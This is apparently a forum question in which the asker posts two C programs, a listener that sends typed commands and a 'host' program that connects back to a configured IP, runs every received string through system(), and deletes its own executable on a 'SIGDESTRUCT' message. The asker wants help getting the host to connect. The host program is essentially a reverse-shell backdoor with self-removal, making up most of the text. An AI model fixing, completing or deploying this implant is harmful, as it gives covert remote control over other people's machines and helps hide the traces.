What's wrong with my remote command executor?

I coded two programs. One is the client, the other one is the program the host has to run.

client.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define COMMAND_LIMIT 1024
//#define RECEIVE_LIMIT 500
#define zero(_P) memset(&_P,0,sizeof(_P))
int main(int argc, char **argv){
    if(argc==1){
        puts("format: [executable] [port]");
        return 0;
    }
    int port=atoi(*(argv+1));
    char send_buffer[COMMAND_LIMIT+1];
    //char receive_buffer[RECEIVE_LIMIT];
    struct sockaddr_in server;
    zero(server);
    server.sin_family=AF_INET;    
    server.sin_addr.s_addr=htonl(INADDR_ANY); 
    server.sin_port=htons(port);
    int listener, connector;
    listener=socket(AF_INET, SOCK_STREAM, 0);
    bind(listener, (struct sockaddr*)&server,sizeof(server));
    if(listen(listener, 1) == -1){
        puts("Failed to listen");
        return -1;
    }
    connector=accept(listener, (struct sockaddr*)NULL ,NULL);
    puts("Host found."); 
    while(1){
        puts("Enter command:");
        scanf("%s",send_buffer);
        int wrlen=write(connector,send_buffer,strlen(send_buffer));
        if(wrlen==-1){
            printf("Connection has been closed. Stopping program.");
            close(connector);
            return 0;
        }
    }
    return 0;
}

host.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 2333 //default port, change it.
#define RECEIVE_LIMIT 1024
#define CLIENT_IP "127.0.0.1" //changed this for stackoverflow
#define zero(_P) memset(&_P,0,sizeof(_P))
int main(int argc, char **argv){
    int sockets, n=0;
    char receive_buffer[RECEIVE_LIMIT+1];
    struct sockaddr_in self; 
    memset(receive_buffer, '0' ,sizeof(receive_buffer));
    if((sockets = socket(AF_INET, SOCK_STREAM, 0))< 0){
        puts("Error : Could not create socket.");
        return 1;
    }
    self.sin_family=AF_INET;
    self.sin_port=htons(PORT);
    self.sin_addr.s_addr=inet_addr(CLIENT_IP);
    if(connect(sockets, (struct sockaddr *)&self, sizeof(self)<0)){
      printf("\n Error : Connect Failed \n");
      return 1;
    }
    while((n = read(sockets, receive_buffer, sizeof(receive_buffer)-1)) > 0){
        if(n<0){
            printf("\n Read Error \n");
        }
        receive_buffer[n]='\0';
        if(strcmp("SIGDESTRUCT",receive_buffer)==0){
            remove(argv[0]);
            return 0;
        }
        system(receive_buffer);
      printf("\n");
    }
  return 0;
}

The client runs fine but host.c can't connect to client.c. Both compiled though, without any errors. I tried to debug it, but everything looks fine to me. The client allows every address to connect to it and the host tries to connect to it.